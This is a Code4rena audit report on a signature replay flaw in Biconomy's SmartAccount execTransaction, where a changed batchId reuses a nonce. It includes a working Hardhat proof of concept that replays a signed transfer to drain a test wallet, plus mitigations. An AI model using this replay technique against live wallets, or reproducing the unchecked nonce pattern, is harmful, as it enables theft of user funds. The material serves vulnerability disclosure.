Signature Replay Attack

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L205

Vulnerability details

Impact

The 'execTransaction' function is vulnerable to replay attacks.

This is the part that we are interested in:

bytes memory txHashData = encodeTransactionData(
                // Transaction info
                _tx,
                // Payment info
                refundInfo,
                // Signature info
                nonces[batchId]
            );
            // Increase nonce and execute transaction.
            // Default space aka batchId is 0
            nonces[batchId]++;
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);

The nonce is increased without sanitizing the "batchId" input:

nonces[batchId]++;

It increase the provided batchId without doing hard checks on the provided key. If we provide a higher key (batchId) then the resulted nonce will be the same.

Attack vector: We can replay past transaction by just providing a higher batchId, without changing anything else. This will output the same nonce:

nonces[batchId]

And therefore allowing an attacker to drain the user funds by using a past transaction multiple times.

A full poc reproduction can be found below.

Proof of Concept

A complete reproducible proof of concept:

import { expect } from "chai";
import { deployments, ethers } from "hardhat";
import type { Contract, Signer } from "ethers";

async function sign(signer: Signer, hash: string): Promise<string> {
  const typedDataHash = ethers.utils.arrayify(hash);
  const signature = (await signer.signMessage(typedDataHash))
    .replace(/1b$/, "1f")
    .replace(/1c$/, "20");
  return signature;
}

describe("Attack", function () {
  let owner: Signer;
  let receiver: Signer;
  let wallet: Contract;

  this.beforeEach(async () => {
    [owner, receiver] = await ethers.getSigners();

    // We use the singleton for proof of concept
    // This can be applied to any other proxy wallet.
    const Wallet = await ethers.getContractFactory("SmartAccount");
    wallet = await Wallet.deploy();
    const entryPoint = ethers.Wallet.createRandom().address;
    const handler = ethers.Wallet.createRandom().address;
    await wallet.init(await owner.getAddress(), entryPoint, handler);
  });
  it("should replay the transaction with the same signature", async () => {
    expect(await wallet.owner()).to.equal(await owner.getAddress());

    const tx = {
      to: await receiver.getAddress(),
      value: ethers.utils.parseEther("1"),
      data: "0x",
      operation: 0,
      targetTxGas: 100000,
    };
    const batchId = 0;
    const feeRefund = {
      baseGas: 0,
      gasPrice: 0,
      tokenGasPriceFactor: ethers.constants.AddressZero,
      gasToken: ethers.constants.AddressZero,
      refundReceiver: ethers.constants.AddressZero,
    };

    // we fund the wallet.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(0);
    await owner.sendTransaction({
      to: wallet.address,
      value: ethers.utils.parseEther("2"),
    });
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(
      ethers.utils.parseEther("2")
    );

    // We get the transaction hash.
    const hash = await wallet.getTransactionHash(
      tx.to,
      tx.value,
      tx.data,
      tx.operation,
      tx.targetTxGas,
      feeRefund.baseGas,
      feeRefund.gasPrice,
      feeRefund.tokenGasPriceFactor,
      feeRefund.gasToken,
      feeRefund.refundReceiver,
      batchId
    );

    // We sign the transaction.
    const signature = await sign(owner, hash);

    // We execute the first transaction.
    await wallet.execTransaction(tx, batchId, feeRefund, signature);
    // the wallet should have 1 eth.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(
      ethers.utils.parseEther("1")
    );

    // We execute the second transaction with the exact same signature, we just change the batchId.

    // Replay attack.
    await wallet.execTransaction(tx, 1, feeRefund, signature);

    // Wallet drained.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(0);
  });
});

Tools Used

Hardhat

Recommended Mitigation Steps

In the following list, there are 2 mitigation strategies to avoid this attack:

1. Fixate the 2d nonces to the key 0, so it matches the "_validateAndUpdateNonce" function:

require(nonces[0]++ == userOp.nonce, "account: invalid nonce");

The "batchId" parameter from the "execTransaction" function will need to be removed and the key fixed as follows:

function execTransaction(
        Transaction memory _tx,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {
        // initial gas = 21k + non_zero_bytes * 16 + zero_bytes * 4
        //            ~= 21k + calldata.length * [1/3 * 16 + 2/3 * 4]
        uint256 startGas = gasleft() + 21000 + msg.data.length * 8;
        //console.log("init %s", 21000 + msg.data.length * 8);
        bytes32 txHash;
        // Use scope here to limit variable lifetime and prevent `stack too deep` errors
        {
            bytes memory txHashData = encodeTransactionData(
                // Transaction info
                _tx,
                // Payment info
                refundInfo,
                // Signature info
                nonces[0]++ / / we increase the nonce here
            );
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);
        }

2. Eliminate 2d nonces and just stick with regular "uint256" nonce (same as gnosis safe).

[c4-judge]

gzeon-c4 marked the issue as duplicate of #485

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory